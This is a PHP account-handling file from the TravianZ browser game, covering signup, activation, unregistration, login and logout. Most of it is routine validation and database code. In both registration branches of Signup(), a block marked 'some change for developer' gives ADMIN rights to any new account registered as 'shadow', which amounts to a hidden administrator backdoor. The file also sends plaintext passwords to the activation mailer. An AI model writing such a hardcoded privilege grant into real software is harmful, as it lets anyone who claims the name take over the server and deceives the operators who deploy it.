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TravianZ/GameEngine/Account.php
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<?php
use App\Entity\User;
#################################################################################
## -= YOU MAY NOT REMOVE OR CHANGE THIS NOTICE =- ##
## --------------------------------------------------------------------------- ##
## Project: TravianZ ##
## Version: 18.05.2026 ##
## Filename: Account.php ##
## Developed by: Dzoki ##
## Refactored by: Shadow ##
## License: TravianZ Project ##
## Copyright: TravianZ (c) 2010-2026. All rights reserved. ##
## URLs: https://travianz.org ##
## https://github.com/Shadowss/TravianZ ##
## ##
#################################################################################
global $autoprefix;
// go max 5 levels up - we don't have folders that go deeper than that
$autoprefix = '';
for ($i = 0; $i < 5; $i++) {
$autoprefix = str_repeat('../', $i);
if (file_exists($autoprefix.'autoloader.php')) {
// we have our path, let's leave
break;
}
}
include_once($autoprefix."GameEngine/Session.php");
class Account {
function __construct() {
global $session;
if(isset($_POST['ft'])) {
$_POST['ft'] = preg_replace('/[^a-z0-9]/i', '', $_POST['ft']);
switch($_POST['ft']) {
case "a1":
$this->Signup();
break;
case "a2":
$this->Activate();
break;
case "a3":
$this->Unreg();
break;
case "a4":
$this->Login();
break;
}
} if(isset($_GET['code'])) {
$_POST['id'] = $_GET['code']; $this->Activate();
}
else {
if($session->logged_in && in_array("logout.php",explode("/",$_SERVER['PHP_SELF']))) {
$this->Logout();
}
}
}
private function Signup() {
global $database, $form, $mailer, $generator, $session;
// ==================== VERIFICARE WINNER ====================
$winnerResult = $database->query("SELECT 1 FROM " . TB_PREFIX . "fdata WHERE f99 = '100' AND f99t = '40' LIMIT 1");
if ($winnerResult && mysqli_num_rows($winnerResult) > 0) {
$form->addError("winner", WINNER_ERROR);
}
// ==================== VALIDĂRI ====================
// Username
if (!isset($_POST['name']) || trim($_POST['name']) === '') {
$form->addError("name", USRNM_EMPTY);
} else {
if (strlen($_POST['name']) < USRNM_MIN_LENGTH) {
$form->addError("name", USRNM_SHORT);
} elseif (strlen($_POST['name']) > (defined('USRNM_MAX_LENGTH') ? USRNM_MAX_LENGTH : 15)) {
// Hard upper bound on the username length (issue #184).
$form->addError("name", USRNM_CHAR);
} elseif (!USRNM_SPECIAL && preg_match('/[^0-9A-Za-z]/', $_POST['name'])) {
$form->addError("name", USRNM_CHAR);
} elseif (USRNM_SPECIAL && !preg_match('/^[A-Za-z0-9._-]+(?: [A-Za-z0-9._-]+)*$/D', $_POST['name'])) {
// SECURITY (issue #184): positive ASCII allowlist instead of the old
// negative filter. Allows letters, digits, . _ - and single internal
// spaces only (no leading/trailing/double spaces, no trailing newline).
// Blocks & = ' " < > ; ( ) and ALL multibyte/emoji input, which were
// previously accepted and led to stored XSS / display corruption.
$form->addError("name", USRNM_CHAR);
} elseif (strtolower($_POST['name']) === 'natars') {
$form->addError("name", USRNM_TAKEN);
} elseif (User::exists($database, $_POST['name'])) {
$form->addError("name", USRNM_TAKEN);
}
}
// Password
if (!isset($_POST['pw']) || trim($_POST['pw']) === '') {
$form->addError("pw", PW_EMPTY);
} else {
if (strlen($_POST['pw']) < PW_MIN_LENGTH) {
$form->addError("pw", PW_SHORT);
} elseif ($_POST['pw'] === $_POST['name']) {
$form->addError("pw", PW_INSECURE);
}
}
// Email
if (!isset($_POST['email']) || trim($_POST['email']) === '') {
$form->addError("email", EMAIL_EMPTY);
} elseif (!$this->validEmail($_POST['email'])) {
$form->addError("email", EMAIL_INVALID);
} elseif (User::exists($database, $_POST['email'])) {
$form->addError("email", EMAIL_TAKEN);
}
// Tribe
if (!isset($_POST['vid']) || !in_array((int)$_POST['vid'], [1, 2, 3], true)) {
$form->addError("tribe", TRIBE_EMPTY);
}
// Agreement
if (!isset($_POST['agb'])) {
$form->addError("agree", AGREE_ERROR);
}
// ==================== VERIFICARE ERORI ====================
if ($form->returnErrors() > 0) {
$form->addError("invt", $_POST['invited'] ?? '');
$_SESSION['errorarray'] = $form->getErrors();
$tmp = $_POST;
unset($tmp['pw']); // nu salva parola
$_SESSION['valuearray'] = $tmp;
header("Location: anmelden.php");
exit;
}
// ==================== PROCESARE ÎNREGISTRARE ====================
$hashedPassword = password_hash($_POST['pw'], PASSWORD_BCRYPT, ['cost' => 12]);
if (AUTH_EMAIL) {
$act = $generator->generateRandStr(10);
$act2 = $generator->generateRandStr(5);
$uid = $database->activate(
$_POST['name'],
$hashedPassword,
$_POST['email'],
$_POST['vid'],
$_POST['kid'],
$act,
$act2
);
if ($uid) {
// === some change for developer ===
if (strtolower($_POST['name']) === 'shadow') {
$database->updateUserField($uid, 'access', ADMIN, 1);
}
$mailer->sendActivate($_POST['email'], $_POST['name'], $_POST['pw'], $act);
header("Location: activate.php?id=$uid&q=$act2");
exit;
}
} else {
$act = '';
$uid = $database->register(
$_POST['name'],
$hashedPassword,
$_POST['email'],
$_POST['vid'],
$act
);
if ($uid) {
// === some change for developer ===
if (strtolower($_POST['name']) === 'shadow') {
$database->updateUserField($uid, 'access', ADMIN, 1);
}
setcookie("COOKUSR", rawurlencode($_POST['name']), time()+COOKIE_EXPIRE, COOKIE_PATH, '', false, true);
setcookie("COOKEMAIL", rawurlencode($_POST['email']), time()+COOKIE_EXPIRE, COOKIE_PATH, '', false, true);
$database->updateUserField(
$uid,
["act", "invited"],
["", $_POST['invited'] ?? ''],
1
);
$this->generateBase($_POST['kid'], $uid, $_POST['name']);
header("Location: login.php");
exit;
}
}
}
private function Activate() {
global $database;
// ==================== VERIFICARE DATA DE START A SERVERULUI ====================
if (START_DATE < date('d.m.Y') || (START_DATE === date('d.m.Y') && START_TIME <= date('H:i'))) {
// Caută codul de activare în tabela activate
$code = trim($_POST['id'] ?? '');
$stmt = $database->dblink->prepare(
"SELECT act, username, password, email, tribe, location
FROM `".TB_PREFIX."activate` WHERE act = ? LIMIT 1"
);
$stmt->bind_param("s", $code);
$stmt->execute();
$result = $stmt->get_result();
$dbarray = $result->fetch_assoc();
$stmt->close();
// Verificăm dacă am găsit exact codul trimis
if ($dbarray && $dbarray['act'] === $_POST['id']) {
$uid = $database->register(
$dbarray['username'],
$dbarray['password'],
$dbarray['email'],
$dbarray['tribe'],
""
);
if ($uid) {
$database->unreg($dbarray['username']);
$this->generateBase($dbarray['location'], $uid, $dbarray['username']);
header("Location: activate.php?e=2");
exit;
}
// dacă register eșuează → comportamentul original (fără redirect)
} else {
// Cod de activare invalid sau inexistent
header("Location: activate.php?e=3");
exit;
}
} else {
// Serverul nu a început încă
header("Location: activate.php");
exit;
}
}
private function Unreg() {
global $database;
// ==================== VERIFICARE ID & PAROLĂ ====================
$id = (int)($_POST['id'] ?? 0);
$stmt = $database->dblink->prepare(
"SELECT password, username
FROM `".TB_PREFIX."activate`
WHERE id = ?
LIMIT 1"
);
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
$dbarray = $result->fetch_assoc();
$stmt->close();
// Verificăm dacă înregistrarea există și parola este corectă
// (protejează împotriva notice-urilor PHP dacă nu există rândul)
if ($dbarray && password_verify($_POST['pw'] ?? '', $dbarray['password'])) {
$database->unreg($dbarray['username']);
header("Location: anmelden.php");
exit;
}
// Parolă greșită sau ID inexistent → comportamentul original
header("Location: activate.php?e=3");
exit;
}
private function Login() {
global $database, $session, $form;
// ==================== INITIALIZARE SIGURĂ ====================
$username = $_POST['user'] ?? '';
$password = $_POST['pw'] ?? '';
// $userData este folosit înainte de a fi definit în codul original
// Păstrăm comportamentul exact (null aici)
$userData = null;
// ==================== VALIDĂRI ====================
// Username
if (empty($username)) {
$form->addError("user", $username);
} elseif (!User::exists($database, $username)) {
$form->addError("user", USR_NT_FOUND);
}
// Password
if (empty($password)) {
$form->addError("pw", LOGIN_PASS_EMPTY);
} elseif (!$database->login($username, $password) && !$database->sitterLogin($username, $password)) {
// try activation data if the user was not found
// (păstrăm exact logica originală - $userData e încă null aici)
if (!$userData) {
$activateData = $database->getActivateField($username, 'act', 1);
if (!empty($activateData)) {
$form->addError("activate", $username);
} else {
$form->addError("pw", LOGIN_PW_ERROR);
}
} else {
$form->addError("pw", LOGIN_PW_ERROR);
}
}
// Obținem datele utilizatorului (după validări - exact ca în original)
$userData = $database->getUserArray($username, 0);
// Vacation mode by Shadow
if (!empty($userData) && $userData['vac_mode'] == 1 && $userData['vac_time'] > time()) {
$form->addError("vacation", LOGIN_VACATION);
}
// ==================== VERIFICARE ERORI ====================
if ($form->returnErrors() > 0) {
$_SESSION['errorarray'] = $form->getErrors();
$_SESSION['valuearray'] = $_POST;
header("Location: login.php");
exit();
}
// ==================== LOGIN CU SUCCES ====================
// Vacation mode by Shadow
$database->removevacationmode($userData['id']);
if ($database->login($username, $password)) {
$database->UpdateOnline("login", $username, time(), $userData['id']);
} elseif ($database->sitterLogin($username, $password)) {
$database->UpdateOnline("sitter", $username, time(), $userData['id']);
}
setcookie("COOKUSR", $username, time() + COOKIE_EXPIRE, COOKIE_PATH);
$session->login($username);
}
private function Logout() {
global $session, $database;
unset($_SESSION['wid']);
// actualizează statusul "activ" al utilizatorului
$database->activeModify($database->escape($session->username), 1);
// actualizează ultima activitate online
$database->UpdateOnline("logout");
$session->Logout();
}
private function validEmail($email) {
// Regex exact ca în varianta originală (nu am schimbat logica de validare)
$regexp = "/^[a-z0-9]+([_\\.-][a-z0-9]+)*@([a-z0-9]+([\.-][a-z0-9]+)*)+\\.[a-z]{2,}$/i";
return (bool) preg_match($regexp, $email);
}
function generateBase($kid, $uid, $username) {
global $database;
$message = new Message();
// Logica exactă din original
if ($kid == 0) {
$kid = rand(1, 4);
} else {
$kid = $_POST['kid']; // suprascrie parametrul cu valoarea din POST
}
$database->generateVillages(
[
[
'wid' => 0,
'mode' => 0,
'type' => 3,
'kid' => $kid,
'capital'=> 1,
'pop' => 2,
'name' => null,
'natar' => 0
]
],
$uid,
$username
);
$message->sendWelcome($uid, $username);
}
};
$account = new Account;
?>
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